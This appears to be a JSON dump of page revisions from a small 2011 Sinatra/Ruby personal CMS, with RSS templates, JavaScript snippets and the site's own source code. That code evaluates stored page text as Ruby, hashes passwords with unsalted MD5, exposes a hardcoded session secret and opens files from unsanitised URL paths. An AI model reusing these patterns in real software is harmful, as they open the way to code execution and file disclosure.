xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:44:57.000Z","updated_at":"2011-05-31T07:44:57.000Z"},{"id":1603,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.name\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.body\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:45:25.000Z","updated_at":"2011-05-31T07:45:25.000Z"},{"id":1604,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.name\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:48:28.000Z","updated_at":"2011-05-31T07:48:28.000Z"},{"id":1605,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.name\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.body\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:49:47.000Z","updated_at":"2011-05-31T07:49:47.000Z"},{"id":1606,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.name\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:49:58.000Z","updated_at":"2011-05-31T07:49:58.000Z"},{"id":1607,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.name\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:49:59.000Z","updated_at":"2011-05-31T07:49:59.000Z"},{"id":1608,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.name\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:50:52.000Z","updated_at":"2011-05-31T07:50:52.000Z"},{"id":1609,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:53:50.000Z","updated_at":"2011-05-31T07:53:50.000Z"},{"id":1610,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2011-05-31T07:54:32.000Z","updated_at":"2011-05-31T07:54:32.000Z"},{"id":1611,"name":"source","body":"# このサイトのソース\r\n## ちょっとした解説\r\nWeb から楽にサイトを更新したいというよくあるアレ。\r\n\r\nただ Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\nまず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\nページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n行頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n行頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n## app.rb\r\n``` ruby\r\nrequire 'sinatra'\r\nrequire 'active_record'\r\nrequire 'haml'\r\nrequire 'redcarpet'\r\nrequire 'cgi'\r\nrequire 'rack/csrf'\r\nrequire 'logger'\r\nrequire 'builder'\r\nrequire 'digest/md5'\r\n\r\nBlueCloth = Redcarpet\r\n\r\nPASSWORD = \"パスワードを MD5 化したもの\"\r\n\r\nActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n)\r\n\r\nActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n\r\n#ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def html\r\n if self.body.split(\"\\n\").first =~ /^haml/\r\n return self.haml\r\n elsif self.body.split(\"\\n\").first =~ /^builder/\r\n return \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n elsif self.body.split(\"\\n\").first =~ /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n BlueCloth.new(str, :fenced_code, :gh_blockcode).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n\r\n def title\r\n if self.body.split(\"\\n\").first =~ /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n elsif self.body.split(\"\\n\").first =~ /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n elsif self.body.split(\"\\n\").first =~ /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str\r\n end\r\n \r\n def haml\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def builder\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\nend\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\nend\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n haml :edit\r\nend\r\n\r\nget %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n redirect \"/edit/#{id}\" unless @page\r\n return @page.haml if @page.body.split(\"\\n\").first =~ /^haml/\r\n if @page.body.split(\"\\n\").first =~ /^builder/\r\n content_type :xml\r\n return @page.builder \r\n end\r\n return haml :page\r\nend\r\n\r\npost '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n\r\n__END__\r\n@@ page\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n\r\n@@ edit\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:id]}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-sc ale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p \r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n %form{:action =\u003e \"/destroy\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p \r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Destroy\"}\r\n\r\n```\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n\r\n```ruby\r\nclass CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n\r\n def self.down\r\n drop_table :pages\r\n end\r\nend\r\n```\r\n","created_at":"2011-05-31T08:10:31.000Z","updated_at":"2011-05-31T08:10:31.000Z"},{"id":1612,"name":"ToDo","body":"# ToDo\r\n## Fastladder の Rails3 へのアップグレード\r\n## MOU 解約\r\n## AU 解約\r\n## 金曜日のアレ店探す","created_at":"2011-06-01T08:03:39.000Z","updated_at":"2011-06-01T08:03:39.000Z"},{"id":1613,"name":"source","body":"haml このサイトのソース\r\n!!!\r\n%title ssig33.com - このサイトのソース\r\n#all\r\n %h2 ちょっとした解説\r\n %p Web から楽にサイトを更新したいというよくあるアレ。\r\n\r\n %p ただ Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\n %p まず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\n %p ページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n %p 行頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n %p 行頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n %h2 app.rb\r\n %pre{:lang =\u003e ruby}\r\n %code~open(\"app.rb\").read\r\n\r\n","created_at":"2011-06-01T08:07:01.000Z","updated_at":"2011-06-01T08:07:01.000Z"},{"id":1614,"name":"source","body":"haml このサイトのソース\r\n!!!\r\n%title ssig33.com - このサイトのソース\r\n#all\r\n %h2 ちょっとした解説\r\n %p Web から楽にサイトを更新したいというよくあるアレ。\r\n\r\n %p ただ Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\n %p まず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\n %p ページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n %p 行頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n %p 行頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n %h2 app.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"app.rb\").read\r\n\r\n","created_at":"2011-06-01T08:07:08.000Z","updated_at":"2011-06-01T08:07:08.000Z"},{"id":1615,"name":"source","body":"haml このサイトのソース\r\n!!!\r\n%title ssig33.com - このサイトのソース\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %h1 このサイトのソース\r\n %h2 ちょっとした解説\r\n %p Web から楽にサイトを更新したいというよくあるアレ。\r\n\r\n %p ただ Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\n %p まず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\n %p ページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n %p 行頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n %p 行頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n %h2 app.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"app.rb\").read\r\n\r\n %h2 migrate/0_create_pages.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"migrate/0_create_pages.rb\").read\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n\r\n","created_at":"2011-06-01T08:09:08.000Z","updated_at":"2011-06-01T08:09:08.000Z"},{"id":1616,"name":"t/1","body":"title テスト投稿 created_at\r\n=text_header=\r\n# text.ssig33.com からこっちへ移行する為の新機能のテスト\r\nだるい","created_at":"2011-06-01T09:08:19.000Z","updated_at":"2011-06-01T09:08:19.000Z"},{"id":1617,"name":"t/1","body":"title テスト投稿 =created_at=\r\n=text_header=\r\n# text.ssig33.com からこっちへ移行する為の新機能のテスト\r\nだるい","created_at":"2011-06-01T09:09:14.000Z","updated_at":"2011-06-01T09:09:14.000Z"},{"id":1618,"name":"js/text.js","body":"raw\r\n//vim: set ft=javascript:\r\n$.each($('#all p'), function(){\r\n node = $(this)\r\n if(node.text() == \"=text_header=\"){\r\n console.log(\"hit\");\r\n }\r\n});\r\n","created_at":"2011-06-01T09:17:20.000Z","updated_at":"2011-06-01T09:17:20.000Z"},{"id":1619,"name":"t/1","body":"title テスト投稿 =created_at=\r\n=text_header=\r\n# text.ssig33.com からこっちへ移行する為の新機能のテスト\r\nだるい\r\n\r\n\u003cscript src=\"view-source:http://ssig33.com/js/text.js\"/\u003e","created_at":"2011-06-01T09:17:36.000Z","updated_at":"2011-06-01T09:17:36.000Z"},{"id":1620,"name":"t/1","body":"title テスト投稿 =created_at=\r\n=text_header=\r\n# text.ssig33.com からこっちへ移行する為の新機能のテスト\r\nだるい\r\n\r\n\u003cscript src=\"http://ssig33.com/js/text.js\"/\u003e","created_at":"2011-06-01T09:17:53.000Z","updated_at":"2011-06-01T09:17:53.000Z"},{"id":1621,"name":"parts/text_header","body":"haml\r\n%h1\r\n %a{:href =\u003e \"/\"}\r\n%h2 text\r\n %a{:href =\u003e \"/t\"}\r\n","created_at":"2011-06-01T09:21:07.000Z","updated_at":"2011-06-01T09:21:07.000Z"},{"id":1622,"name":"parts/text_header","body":"haml\r\n%h1\r\n %a{:href =\u003e \"/\"} ssig33.com\r\n%h2 \r\n %a{:href =\u003e \"/t\"} text\r\n","created_at":"2011-06-01T09:21:22.000Z","updated_at":"2011-06-01T09:21:22.000Z"},{"id":1623,"name":"js/text.js","body":"raw\r\n$.each($('#all p'), function(){\r\n node = $(this)\r\n if(node.text() == \"=text_header=\"){\r\n $.get(\"/parts/text_header\", function(data){node.html(data)});\r\n }\r\n});\r\n\r\n// vim: set ft=javascript:\r\n\r\n","created_at":"2011-06-01T09:22:25.000Z","updated_at":"2011-06-01T09:22:25.000Z"},{"id":1624,"name":"js/text.js","body":"raw\r\n$.each($('#all p'), function(){\r\n node = $(this)\r\n if(node.text() == \"=text_header=\"){\r\n condole.log(node)\r\n $.get(\"/parts/text_header\", function(data){node.html(data)});\r\n }\r\n});\r\n\r\n// vim: set ft=javascript:","created_at":"2011-06-01T09:23:06.000Z","updated_at":"2011-06-01T09:23:06.000Z"},{"id":1625,"name":"js/text.js","body":"raw\r\n$.each($('#all p'), function(){\r\n node = $(this)\r\n if(node.text() == \"=text_header=\"){\r\n console.log(node)\r\n $.get(\"/parts/text_header\", function(data){node.html(data)});\r\n }\r\n});\r\n\r\n// vim: set ft=javascript:","created_at":"2011-06-01T09:23:19.000Z","updated_at":"2011-06-01T09:23:19.000Z"},{"id":1626,"name":"js/text.js","body":"raw\r\n$.each($('#all p'), function(){\r\n node = $(this)\r\n if(node.text() == \"=text_header=\"){\r\n console.log(node)\r\n $.get(\"/parts/text_header\", function(data){node.after(data);node.remove()});\r\n }\r\n});\r\n\r\n// vim: set ft=javascript:","created_at":"2011-06-01T09:23:41.000Z","updated_at":"2011-06-01T09:23:41.000Z"},{"id":1627,"name":"js/text.js","body":"raw\r\n$.each($('#all p[0]'), function(){\r\n node = $(this)\r\n if(node.text() == \"=text_header=\"){\r\n console.log(node)\r\n $.get(\"/parts/text_header\", function(data){node.after(data);node.remove()});\r\n }\r\n});\r\n\r\n// vim: set ft=javascript:","created_at":"2011-06-01T09:25:08.000Z","updated_at":"2011-06-01T09:25:08.000Z"},{"id":1628,"name":"js/text.js","body":"raw\r\n$.each($('#all p:first'), function(){\r\n node = $(this)\r\n if(node.text() == \"=text_header=\"){\r\n console.log(node)\r\n $.get(\"/parts/text_header\", function(data){node.after(data);node.remove()});\r\n }\r\n});\r\n\r\n// vim: set ft=javascript:","created_at":"2011-06-01T09:25:47.000Z","updated_at":"2011-06-01T09:25:47.000Z"},{"id":1629,"name":"parts/text_header","body":"haml\r\n%h1\r\n %a{:href =\u003e \"/\"} ssig33.com\r\n%h2 \r\n %a{:href =\u003e \"/t\"} texts\r\n","created_at":"2011-06-01T09:26:02.000Z","updated_at":"2011-06-01T09:26:02.000Z"},{"id":1630,"name":"parts/text_header","body":"haml\r\n%h1\r\n %a{:href =\u003e \"/\"} ssig33.com\r\n%p\r\n %a{:href =\u003e \"/t\"} texts\r\n %a{:href =\u003e \"/feed\"} feed","created_at":"2011-06-01T09:26:32.000Z","updated_at":"2011-06-01T09:26:32.000Z"},{"id":1631,"name":"parts/text_header","body":"haml\r\n%h1\r\n %a{:href =\u003e \"/t\"} ssig33.com - texts\r\n%p\r\n %a{:href =\u003e \"/feed\"} feed","created_at":"2011-06-01T09:28:19.000Z","updated_at":"2011-06-01T09:28:19.000Z"},{"id":1632,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -Page.where(\"name like ?\",\"t/%\").each do |p|\r\n =p.name\r\n","created_at":"2011-06-01T09:30:32.000Z","updated_at":"2011-06-01T09:30:32.000Z"},{"id":1633,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name\r\n -pages.uniq\r\n -pages.each do |p|\r\n =Page.where(:name =\u003e p).order(\"created_at desc\").first\r\n","created_at":"2011-06-01T09:32:34.000Z","updated_at":"2011-06-01T09:32:34.000Z"},{"id":1634,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%title ssig33.com - texts\r\n#all\r\n %h1 ssig33.com - texts\r\n %p\r\n %a{:href =\u003e \"/\"}back to the top\r\n -pages = []\r\n -Page.where(\"name like ?\",\"t/%\").order(\"created_at desc\").limit(100).each do |p|\r\n -pages \u003c\u003c p.name unless pages.index(p.name)\r\n -pages.uniq\r\n -pages.each do |p|\r\n =p\r\n","created_at":"2011-06-01T09:33:00.000Z","updated_at":"2011-06-01T09:33:00.000Z"},{"id":1635,"name":"t","body":"haml Texts\r\n-# vim: set ft=haml:\r\n!!!\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e 